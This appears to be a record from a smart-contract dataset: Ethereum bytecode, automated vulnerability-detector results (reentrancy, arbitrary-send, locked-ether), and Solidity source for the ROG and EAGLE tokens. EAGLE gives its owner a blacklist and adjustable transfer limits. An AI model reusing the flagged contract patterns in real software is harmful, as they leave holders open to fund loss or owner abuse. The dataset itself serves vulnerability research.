00612e5c6027836132b3565b9150612e67826137e2565b604082019050919050565b6000612e7f6024836132b3565b9150612e8a82613831565b604082019050919050565b6000612ea26017836132b3565b9150612ead82613880565b602082019050919050565b6000612ec56018836132b3565b9150612ed0826138a9565b602082019050919050565b612ee481613417565b82525050565b612ef381613421565b82525050565b6000602082019050612f0e6000830184612c2d565b92915050565b6000602082019050612f296000830184612c0f565b92915050565b6000604082019050612f446000830185612c2d565b612f516020830184612c2d565b9392505050565b6000604082019050612f6d6000830185612c2d565b612f7a6020830184612edb565b9392505050565b600060c082019050612f966000830189612c2d565b612fa36020830188612edb565b612fb06040830187612ca9565b612fbd6060830186612ca9565b612fca6080830185612c2d565b612fd760a0830184612edb565b979650505050505050565b6000602082019050612ff76000830184612c9a565b92915050565b600060208201905081810360008301526130178184612cb8565b905092915050565b6000602082019050818103600083015261303881612cf1565b9050919050565b6000602082019050818103600083015261305881612d14565b9050919050565b6000602082019050818103600083015261307881612d37565b9050919050565b6000602082019050818103600083015261309881612d5a565b9050919050565b600060208201905081810360008301526130b881612d7d565b9050919050565b600060208201905081810360008301526130d881612da0565b9050919050565b600060208201905081810360008301526130f881612dc3565b9050919050565b6000602082019050818103600083015261311881612de6565b9050919050565b6000602082019050818103600083015261313881612e09565b9050919050565b6000602082019050818103600083015261315881612e2c565b9050919050565b6000602082019050818103600083015261317881612e4f565b9050919050565b6000602082019050818103600083015261319881612e72565b9050919050565b600060208201905081810360008301526131b881612e95565b9050919050565b600060208201905081810360008301526131d881612eb8565b9050919050565b60006020820190506131f46000830184612edb565b92915050565b600060a08201905061320f6000830188612edb565b61321c6020830187612ca9565b818103604083015261322e8186612c3c565b905061323d6060830185612c2d565b61324a6080830184612edb565b9695505050505050565b60006020820190506132696000830184612eea565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006132cf82613417565b91506132da83613417565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561330f5761330e6134a9565b5b828201905092915050565b600061332582613417565b915061333083613417565b9250826133405761333f6134d8565b5b828204905092915050565b600061335682613417565b915061336183613417565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561339a576133996134a9565b5b828202905092915050565b60006133b082613417565b91506133bb83613417565b9250828210156133ce576133cd6134a9565b5b828203905092915050565b60006133e4826133f7565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061343982613452565b9050919050565b600061344b82613417565b9050919050565b600061345d82613464565b9050919050565b600061346f826133f7565b9050919050565b60005b83811015613494578082015181840152602081019050613479565b838111156134a3576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f596f75722062757920636f6f6c646f776e20686173206e6f742065787069726560008201527f642e000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260008201527f65642e0000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f596f752063616e2774206f776e2074686174206d616e7920746f6b656e73206160008201527f74206f6e63652e00000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b6138db816133d9565b81146138e657600080fd5b50565b6138f2816133eb565b81146138fd57600080fd5b50565b61390981613417565b811461391457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122086abdfd8b00a51b51348c490b27a8791162a6acad800665400a9574cdab544a464736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
4,871
0x3024fd3600797a9f32eb34770a4a20e25c66481c
pragma solidity 0.4.21; contract Ownable { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); function Ownable() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev modifier to allow actions only when the contract IS paused */ modifier whenNotPaused() { require(!paused); _; } /** * @dev modifier to allow actions only when the contract IS NOT paused */ modifier whenPaused { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public returns (bool) { paused = true; emit Pause(); return true; } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public returns (bool) { paused = false; emit Unpause(); return true; } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Contract function to receive approval and execute function in one call // // Borrowed from MiniMeToken // ---------------------------------------------------------------------------- contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } // ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and an // initial fixed supply // ---------------------------------------------------------------------------- contract ROG is ERC20Interface, Pausable { using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function ROG() public { symbol = "ROG"; name = "NeoWorld Rare Ore G"; decimals = 18; _totalSupply = 10000000 * 10**uint(decimals); balances[owner] = _totalSupply; emit Transfer(address(0), owner, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account `tokenOwner` // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner&#39;s account to `to` account // - Owner&#39;s account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public whenNotPaused returns (bool success) { balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner&#39;s account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public whenNotPaused returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function increaseApproval (address _spender, uint _addedValue) public whenNotPaused returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } // ------------------------------------------------------------------------ // Transfer `tokens` from the `from` account to the `to` account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the `from` account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public whenNotPaused returns (bool success) { balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender&#39;s account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner&#39;s account. The `spender` contract function // `receiveApproval(...)` is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public whenNotPaused returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don&#39;t accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
0x6060604052600436106101035763ffffffff60e060020a60003504166306fdde038114610108578063095ea7b31461019257806318160ddd146101c857806323b872dd146101ed578063313ce567146102155780633eaaf86b1461023e5780633f4ba83a146102515780635c975abb14610264578063661884631461027757806370a082311461029957806379ba5097146102b85780638456cb59146102cd5780638da5cb5b146102e057806395d89b411461030f578063a9059cbb14610322578063cae9ca5114610344578063d4ee1d90146103a9578063d73dd623146103bc578063dc39d06d146103de578063dd62ed3e14610400578063f2fde38b14610425575b600080fd5b341561011357600080fd5b61011b610444565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561015757808201518382015260200161013f565b50505050905090810190601f1680156101845780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561019d57600080fd5b6101b4600160a060020a03600435166024356104e2565b604051901515815260200160405180910390f35b34156101d357600080fd5b6101db610553565b60405190815260200160405180910390f35b34156101f857600080fd5b6101b4600160a060020a0360043581169060243516604435610585565b341561022057600080fd5b6102286106b2565b60405160ff909116815260200160405180910390f35b341561024957600080fd5b6101db6106bb565b341561025c57600080fd5b6101b46106c1565b341561026f57600080fd5b6101b4610745565b341561028257600080fd5b6101b4600160a060020a0360043516602435610755565b34156102a457600080fd5b6101db600160a060020a0360043516610858565b34156102c357600080fd5b6102cb610873565b005b34156102d857600080fd5b6101b4610901565b34156102eb57600080fd5b6102f361098a565b604051600160a060020a03909116815260200160405180910390f35b341561031a57600080fd5b61011b610999565b341561032d57600080fd5b6101b4600160a060020a0360043516602435610a04565b341561034f57600080fd5b6101b460048035600160a060020a03169060248035919060649060443590810190830135806020601f82018190048102016040519081016040528181529291906020840183838082843750949650610add95505050505050565b34156103b457600080fd5b6102f3610c45565b34156103c757600080fd5b6101b4600160a060020a0360043516602435610c54565b34156103e957600080fd5b6101b4600160a060020a0360043516602435610cfe565b341561040b57600080fd5b6101db600160a060020a0360043581169060243516610d91565b341561043057600080fd5b6102cb600160a060020a0360043516610dbc565b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104da5780601f106104af576101008083540402835291602001916104da565b820191906000526020600020905b8154815290600101906020018083116104bd57829003601f168201915b505050505081565b60015460009060a060020a900460ff16156104fc57600080fd5b600160a060020a0333811660008181526007602090815260408083209488168084529490915290819020859055600080516020610e2c8339815191529085905190815260200160405180910390a350600192915050565b6000805260066020527f54cdd369e4e8a8515e52ca72ec816c2101831ad1f18bf44102ed171459c9b4f8546005540390565b60015460009060a060020a900460ff161561059f57600080fd5b600160a060020a0384166000908152600660205260409020546105c8908363ffffffff610e0616565b600160a060020a038086166000908152600660209081526040808320949094556007815283822033909316825291909152205461060b908363ffffffff610e0616565b600160a060020a0380861660009081526007602090815260408083203385168452825280832094909455918616815260069091522054610651908363ffffffff610e1816565b600160a060020a03808516600081815260066020526040908190209390935591908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060019392505050565b60045460ff1681565b60055481565b6000805433600160a060020a039081169116146106dd57600080fd5b60015460a060020a900460ff1615156106f557600080fd5b6001805474ff0000000000000000000000000000000000000000191690557f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a150600190565b60015460a060020a900460ff1681565b600154600090819060a060020a900460ff161561077157600080fd5b50600160a060020a03338116600090815260076020908152604080832093871683529290522054808311156107cd57600160a060020a033381166000908152600760209081526040808320938816835292905290812055610804565b6107dd818463ffffffff610e0616565b600160a060020a033381166000908152600760209081526040808320938916835292905220555b600160a060020a033381166000818152600760209081526040808320948916808452949091529081902054600080516020610e2c833981519152915190815260200160405180910390a35060019392505050565b600160a060020a031660009081526006602052604090205490565b60015433600160a060020a0390811691161461088e57600080fd5b600154600054600160a060020a0391821691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600180546000805473ffffffffffffffffffffffffffffffffffffffff19908116600160a060020a03841617909155169055565b6000805433600160a060020a0390811691161461091d57600080fd5b60015460a060020a900460ff161561093457600080fd5b6001805474ff0000000000000000000000000000000000000000191660a060020a1790557f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a150600190565b600054600160a060020a031681565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104da5780601f106104af576101008083540402835291602001916104da565b60015460009060a060020a900460ff1615610a1e57600080fd5b600160a060020a033316600090815260066020526040902054610a47908363ffffffff610e0616565b600160a060020a033381166000908152600660205260408082209390935590851681522054610a7c908363ffffffff610e1816565b600160a060020a0380851660008181526006602052604090819020939093559133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a350600192915050565b60015460009060a060020a900460ff1615610af757600080fd5b600160a060020a0333811660008181526007602090815260408083209489168084529490915290819020869055600080516020610e2c8339815191529086905190815260200160405180910390a383600160a060020a0316638f4ffcb1338530866040518563ffffffff1660e060020a0281526004018085600160a060020a0316600160a060020a0316815260200184815260200183600160a060020a0316600160a060020a0316815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610bdd578082015183820152602001610bc5565b50505050905090810190601f168015610c0a5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b1515610c2b57600080fd5b5af11515610c3857600080fd5b5060019695505050505050565b600154600160a060020a031681565b60015460009060a060020a900460ff1615610c6e57600080fd5b600160a060020a03338116600090815260076020908152604080832093871683529290522054610ca4908363ffffffff610e1816565b600160a060020a033381166000818152600760209081526040808320948916808452949091529081902084905591929091600080516020610e2c83398151915291905190815260200160405180910390a350600192915050565b6000805433600160a060020a03908116911614610d1a57600080fd5b600054600160a060020a038085169163a9059cbb91168460405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515610d7457600080fd5b5af11515610d8157600080fd5b5050506040518051949350505050565b600160a060020a03918216600090815260076020908152604080832093909416825291909152205490565b60005433600160a060020a03908116911614610dd757600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600082821115610e1257fe5b50900390565b81810182811015610e2557fe5b9291505056008c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925a165627a7a72305820d4d23c7d84565b7deb649312c6717b44eb38e3c92a3a5791ad3237c2ac4ed9190029
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
4,872
0xad0899c439c1c0e78d72ae6039acd0649d4ee41c
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract EAGLE is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public isExcludedFromFee; mapping (address => bool) public isExcludedFromLimit; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1_000_000_000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 public swapThreshold = 100_000 * 10**9; uint256 private _reflectionFee = 0; uint256 private _teamFee = 2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "Birds Eye View"; string private constant _symbol = "EAGLE"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap; bool private swapEnabled; bool private cooldownEnabled; uint256 private _maxTxAmount = 10_000_000 * 10**9; uint256 private _maxWalletAmount = 21_000_000 * 10**9; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address wallet1, address wallet2) { _feeAddrWallet1 = payable(wallet1); _feeAddrWallet2 = payable(wallet2); _rOwned[_msgSender()] = _rTotal; isExcludedFromFee[owner()] = true; isExcludedFromFee[address(this)] = true; isExcludedFromFee[_feeAddrWallet1] = true; isExcludedFromFee[_feeAddrWallet2] = true; isExcludedFromLimit[owner()] = true; isExcludedFromLimit[address(this)] = true; isExcludedFromLimit[address(0xdead)] = true; isExcludedFromLimit[_feeAddrWallet1] = true; isExcludedFromLimit[_feeAddrWallet2] = true; emit Transfer(address(this), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(balanceOf(from) >= amount, "ERC20: transfer amount exceeds balance"); if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (!isExcludedFromLimit[from] || (from == uniswapV2Pair && !isExcludedFromLimit[to])) { require(amount <= _maxTxAmount, "Anti-whale: Transfer amount exceeds max limit"); } if (!isExcludedFromLimit[to]) { require(balanceOf(to) + amount <= _maxWalletAmount, "Anti-whale: Wallet amount exceeds max limit"); } if (from == uniswapV2Pair && to != address(uniswapV2Router) && !isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (60 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled && contractTokenBalance >= swapThreshold) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); isExcludedFromLimit[address(uniswapV2Router)] = true; isExcludedFromLimit[uniswapV2Pair] = true; uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function changeMaxTxAmount(uint256 amount) public onlyOwner { _maxTxAmount = amount; } function changeMaxWalletAmount(uint256 amount) public onlyOwner { _maxWalletAmount = amount; } function changeSwapThreshold(uint256 amount) public onlyOwner { swapThreshold = amount; } function excludeFromFees(address account, bool excluded) public onlyOwner { isExcludedFromFee[account] = excluded; } function excludeFromLimits(address account, bool excluded) public onlyOwner { isExcludedFromLimit[account] = excluded; } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rReflect, uint256 tTransferAmount, uint256 tReflect, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); if (isExcludedFromFee[sender] || isExcludedFromFee[recipient]) { _rOwned[recipient] = _rOwned[recipient].add(rAmount); emit Transfer(sender, recipient, tAmount); } else { _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rReflect, tReflect); emit Transfer(sender, recipient, tTransferAmount); } } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualSwap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tReflect, uint256 tTeam) = _getTValues(tAmount, _reflectionFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rReflect) = _getRValues(tAmount, tReflect, tTeam, currentRate); return (rAmount, rTransferAmount, rReflect, tTransferAmount, tReflect, tTeam); } function _getTValues(uint256 tAmount, uint256 reflectFee, uint256 teamFee) private pure returns (uint256, uint256, uint256) { uint256 tReflect = tAmount.mul(reflectFee).div(100); uint256 tTeam = tAmount.mul(teamFee).div(100); uint256 tTransferAmount = tAmount.sub(tReflect).sub(tTeam); return (tTransferAmount, tReflect, tTeam); } function _getRValues(uint256 tAmount, uint256 tReflect, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rReflect = tReflect.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rReflect).sub(rTeam); return (rAmount, rTransferAmount, rReflect); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101855760003560e01c8063715018a6116100d1578063b515566a1161008a578063c9567bf911610064578063c9567bf914610565578063d94160e01461057c578063dd62ed3e146105b9578063f4293890146105f65761018c565b8063b515566a146104ea578063c024666814610513578063c0a904a21461053c5761018c565b8063715018a6146103ee57806381bfdcca1461040557806389f425e71461042e5780638da5cb5b1461045757806395d89b4114610482578063a9059cbb146104ad5761018c565b8063313ce5671161013e5780635342acb4116101185780635342acb4146103225780635932ead11461035f578063677daa571461038857806370a08231146103b15761018c565b8063313ce567146102b557806349bd5a5e146102e057806351bc3c851461030b5761018c565b80630445b6671461019157806306fdde03146101bc578063095ea7b3146101e757806318160ddd1461022457806323b872dd1461024f578063273123b71461028c5761018c565b3661018c57005b600080fd5b34801561019d57600080fd5b506101a661060d565b6040516101b391906136c5565b60405180910390f35b3480156101c857600080fd5b506101d1610613565b6040516101de9190613523565b60405180910390f35b3480156101f357600080fd5b5061020e60048036038101906102099190613046565b610650565b60405161021b9190613508565b60405180910390f35b34801561023057600080fd5b5061023961066e565b60405161024691906136c5565b60405180910390f35b34801561025b57600080fd5b5061027660048036038101906102719190612fbb565b61067e565b6040516102839190613508565b60405180910390f35b34801561029857600080fd5b506102b360048036038101906102ae9190612f2d565b610757565b005b3480156102c157600080fd5b506102ca610847565b6040516102d7919061373a565b60405180910390f35b3480156102ec57600080fd5b506102f56108